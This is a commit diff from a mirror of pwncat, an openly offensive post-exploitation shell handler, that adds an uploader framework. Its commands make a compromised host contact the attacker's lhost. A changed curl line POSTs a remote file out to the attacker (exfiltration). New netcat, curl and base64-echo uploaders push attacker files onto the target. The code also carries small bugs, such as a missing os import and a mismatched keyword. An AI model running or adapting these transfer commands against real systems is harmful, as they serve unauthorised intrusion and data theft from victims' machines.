mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added working uploader framework
This commit is contained in:
parent
dfb5b26157
commit
edf478b93d
@ -15,20 +15,20 @@ def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]:
|
||||
""" Locate an applicable downloader """
|
||||
|
||||
if hint is not None:
|
||||
""" Try to return the requested downloader """
|
||||
# Try to return the requested downloader
|
||||
for d in all_downloaders:
|
||||
if d.NAME != hint:
|
||||
continue
|
||||
d.check(pty)
|
||||
return d
|
||||
else:
|
||||
raise DownloadError(f"{hint}: no such downloader")
|
||||
|
||||
raise DownloadError(f"{hint}: no such downloader")
|
||||
|
||||
for d in downloaders:
|
||||
try:
|
||||
d.check(pty)
|
||||
return d
|
||||
except DownloadError as e:
|
||||
except DownloadError:
|
||||
continue
|
||||
|
||||
try:
|
||||
|
@ -18,4 +18,4 @@ class CurlDownloader(HTTPDownloader):
|
||||
curl = self.pty.which("curl")
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}")
|
||||
self.pty.run(f"{curl} -X POST --data @{remote_path} http://{lhost}:{lport}")
|
||||
|
@ -13,7 +13,7 @@ import sys
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
from pwncat import downloader
|
||||
from pwncat import downloader, uploader
|
||||
|
||||
|
||||
class State(enum.Enum):
|
||||
@ -317,18 +317,10 @@ class PtyHandler:
|
||||
def do_upload(self, argv):
|
||||
""" Upload a file to the remote host """
|
||||
|
||||
downloaders = {
|
||||
"curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"),
|
||||
"wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"),
|
||||
"nc": ("raw", "nc {lhost} {lport} > {outfile}"),
|
||||
}
|
||||
servers = {"http": util.serve_http_file, "raw": util.serve_raw_file}
|
||||
|
||||
parser = argparse.ArgumentParser(prog="upload")
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=downloaders.keys(),
|
||||
default=None,
|
||||
help="set the download method (default: auto)",
|
||||
)
|
||||
@ -346,36 +338,25 @@ class PtyHandler:
|
||||
# The arguments were parsed incorrectly, return.
|
||||
return
|
||||
|
||||
if self.vars.get("lhost", None) is None:
|
||||
util.error("[!] you must provide an lhost address for reverse connections!")
|
||||
return
|
||||
|
||||
if not os.path.isfile(args.path):
|
||||
util.error(f"[!] {args.path}: no such file or directory")
|
||||
util.error(f"{args.path}: no such file or directory")
|
||||
return
|
||||
|
||||
if args.method is not None and args.method not in self.known_binaries:
|
||||
util.error(f"{args.method}: method unavailable")
|
||||
elif args.method is not None:
|
||||
method = downloaders[args.method]
|
||||
else:
|
||||
method = None
|
||||
for m, info in downloaders.items():
|
||||
if m in self.known_binaries:
|
||||
util.info("uploading via {m}")
|
||||
method = info
|
||||
break
|
||||
else:
|
||||
util.warn(
|
||||
"no available upload methods. falling back to echo/base64 method"
|
||||
)
|
||||
try:
|
||||
# Locate an appropriate downloader class
|
||||
UploaderClass = uploader.find(self, args.method)
|
||||
except uploader.UploadError as exc:
|
||||
util.error(f"{exc}")
|
||||
return
|
||||
|
||||
path = args.path
|
||||
basename = os.path.basename(args.path)
|
||||
name = basename
|
||||
outfile = args.output.format(basename=basename)
|
||||
|
||||
with ProgressBar("uploading") as pb:
|
||||
upload = UploaderClass(self, remote_path=outfile, local_path=path)
|
||||
|
||||
with ProgressBar(f"uploading via {upload.NAME}") as pb:
|
||||
|
||||
counter = pb(range(os.path.getsize(path)))
|
||||
last_update = time.time()
|
||||
@ -389,27 +370,8 @@ class PtyHandler:
|
||||
if (time.time() - last_update) > 0.1:
|
||||
pb.invalidate()
|
||||
|
||||
if method is not None:
|
||||
server = servers[method[0]](path, name, progress=on_progress)
|
||||
|
||||
command = method[1].format(
|
||||
outfile=shlex.quote(outfile),
|
||||
lhost=self.vars["lhost"],
|
||||
lfile=name,
|
||||
lport=server.server_address[1],
|
||||
)
|
||||
|
||||
result = self.run(command, wait=False)
|
||||
else:
|
||||
server = None
|
||||
with open(path, "rb") as fp:
|
||||
self.run(f"echo -n > {outfile}")
|
||||
copied = 0
|
||||
for chunk in iter(lambda: fp.read(8192), b""):
|
||||
encoded = base64.b64encode(chunk).decode("utf-8")
|
||||
self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
|
||||
copied += len(chunk)
|
||||
on_progress(copied, len(chunk))
|
||||
upload.serve(on_progress)
|
||||
upload.command()
|
||||
|
||||
try:
|
||||
while not counter.done:
|
||||
@ -417,8 +379,7 @@ class PtyHandler:
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
finally:
|
||||
if server is not None:
|
||||
server.shutdown()
|
||||
upload.shutdown()
|
||||
|
||||
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
|
||||
time.sleep(0.1)
|
||||
|
38
pwncat/uploader/__init__.py
Normal file
38
pwncat/uploader/__init__.py
Normal file
@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type
|
||||
|
||||
from pwncat.uploader.base import Uploader, UploadError
|
||||
from pwncat.uploader.nc import NetcatUploader
|
||||
from pwncat.uploader.curl import CurlUploader
|
||||
from pwncat.uploader.shell import ShellUploader
|
||||
|
||||
all_uploaders = [NetcatUploader, CurlUploader, ShellUploader]
|
||||
uploaders = [NetcatUploader, CurlUploader]
|
||||
fallback = ShellUploader
|
||||
|
||||
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
|
||||
""" Locate an applicable uploader """
|
||||
|
||||
if hint is not None:
|
||||
# Try to return the requested uploader
|
||||
for d in all_uploaders:
|
||||
if d.NAME != hint:
|
||||
continue
|
||||
d.check(pty)
|
||||
return d
|
||||
|
||||
raise UploadError(f"{hint}: no such uploader")
|
||||
|
||||
for d in uploaders:
|
||||
try:
|
||||
d.check(pty)
|
||||
return d
|
||||
except UploadError:
|
||||
continue
|
||||
|
||||
try:
|
||||
fallback.check(pty)
|
||||
return fallback
|
||||
except:
|
||||
raise UploadError("no acceptable uploaders found")
|
160
pwncat/uploader/base.py
Normal file
160
pwncat/uploader/base.py
Normal file
@ -0,0 +1,160 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from socketserver import TCPServer, BaseRequestHandler
|
||||
from functools import partial
|
||||
import threading
|
||||
import socket
|
||||
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class UploadError(Exception):
|
||||
""" An error occurred while attempting to run a uploader """
|
||||
|
||||
|
||||
class Uploader:
|
||||
|
||||
# Binaries which are needed on the remote host for this uploader
|
||||
BINARIES = []
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Check if the given PTY connection can support this uploader """
|
||||
for binary in cls.BINARIES:
|
||||
if pty.which(binary) is None:
|
||||
raise UploadError(f"required remote binary not found: {binary}")
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
|
||||
self.pty = pty
|
||||
self.local_path = local_path
|
||||
self.remote_path = remote_path
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the commands needed to send this file. This is a
|
||||
generator, which yields strings which will be executed on the remote
|
||||
host. """
|
||||
return
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" Start any servers on the local end which are needed to download the
|
||||
content. """
|
||||
return
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown any attacker servers that were started """
|
||||
return
|
||||
|
||||
|
||||
class HttpGetFileHandler(BaseHTTPRequestHandler):
|
||||
def __init__(
|
||||
self, request, addr, server, uploader: "HTTPUploader", on_progress: Callable
|
||||
):
|
||||
self.uploader = uploader
|
||||
self.on_progress = on_progress
|
||||
super(HttpGetFileHandler, self).__init__(request, addr, server)
|
||||
|
||||
def do_GET(self):
|
||||
""" handle http POST request """
|
||||
|
||||
if self.path != "/":
|
||||
self.send_error(404)
|
||||
return
|
||||
|
||||
length = os.path.getsize(self.uploader.local_path)
|
||||
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Length", str(length))
|
||||
self.send_header("Content-Type", "application/octet-stream")
|
||||
self.end_headers()
|
||||
|
||||
with open(self.uploader.local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, self.wfile, self.on_progress)
|
||||
|
||||
def log_message(self, *args, **kwargs):
|
||||
return
|
||||
|
||||
|
||||
class HTTPUploader(Uploader):
|
||||
""" Base class for HTTP POST based downloaders. This takes care of setting
|
||||
up the local HTTP server and saving the file. Just provide the commands
|
||||
for the remote host to trigger the upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise UploadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(HTTPUploader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
self.server = HTTPServer(
|
||||
("0.0.0.0", 0),
|
||||
partial(HttpGetFileHandler, downloader=self, on_progress=on_progress),
|
||||
)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
self.server.shutdown()
|
||||
|
||||
|
||||
class RawUploader(Uploader):
|
||||
""" Base class for raw socket based downloaders. This takes care of setting
|
||||
up the socket server and saving the file. Just provide the commands to
|
||||
initiate the raw socket transfer on the remote host to trigger the
|
||||
upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise UploadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(RawUploader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
|
||||
# Make sure it is accessible to the subclass
|
||||
local_path = self.local_path
|
||||
|
||||
class SocketWrapper:
|
||||
def __init__(self, sock):
|
||||
self.s = sock
|
||||
|
||||
def write(self, n: int):
|
||||
try:
|
||||
return self.s.sendall(n)
|
||||
except socket.timeout:
|
||||
return b""
|
||||
|
||||
# Class to handle incoming connections
|
||||
class ReceiveFile(BaseRequestHandler):
|
||||
def handle(self):
|
||||
self.request.settimeout(1)
|
||||
with open(local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
|
||||
self.request.close()
|
||||
|
||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown the server """
|
||||
self.server.shutdown()
|
21
pwncat/uploader/curl.py
Normal file
21
pwncat/uploader/curl.py
Normal file
@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import HTTPUploader
|
||||
|
||||
|
||||
class CurlUploader(HTTPUploader):
|
||||
|
||||
NAME = "curl"
|
||||
BINARIES = ["curl"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
curl = self.pty.which("curl")
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}")
|
21
pwncat/uploader/nc.py
Normal file
21
pwncat/uploader/nc.py
Normal file
@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import RawUploader
|
||||
|
||||
|
||||
class NetcatUploader(RawUploader):
|
||||
|
||||
NAME = "nc"
|
||||
BINARIES = ["nc"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Return the commands needed to trigger this download """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
nc = self.pty.which("nc")
|
||||
remote_file = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{nc} -q0 {lhost} {lport} > {remote_file}")
|
39
pwncat/uploader/shell.py
Normal file
39
pwncat/uploader/shell.py
Normal file
@ -0,0 +1,39 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
import base64
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import Uploader, UploadError
|
||||
|
||||
|
||||
class ShellUploader(Uploader):
|
||||
|
||||
NAME = "shell"
|
||||
BINARIES = ["base64"]
|
||||
BLOCKSZ = 8192
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Yield list of commands to transfer the file """
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
# Empty the file
|
||||
self.pty.run(f"echo -n > {remote_path}")
|
||||
|
||||
with open(self.local_path, "rb") as filp:
|
||||
copied = 0
|
||||
for block in iter(lambda: filp.read(self.BLOCKSZ), b""):
|
||||
|
||||
# Encode as a base64 string
|
||||
encoded = base64.b64encode(block).decode("utf-8")
|
||||
|
||||
# Read the data
|
||||
self.pty.run(f"echo -n {encoded} | base64 -d >> {remote_path}")
|
||||
|
||||
copied += len(block)
|
||||
self.on_progress(copied, len(block))
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" We don't need to start a server, but we do need to save the
|
||||
callback """
|
||||
self.on_progress = on_progress
|
Loading…
Reference in New Issue
Block a user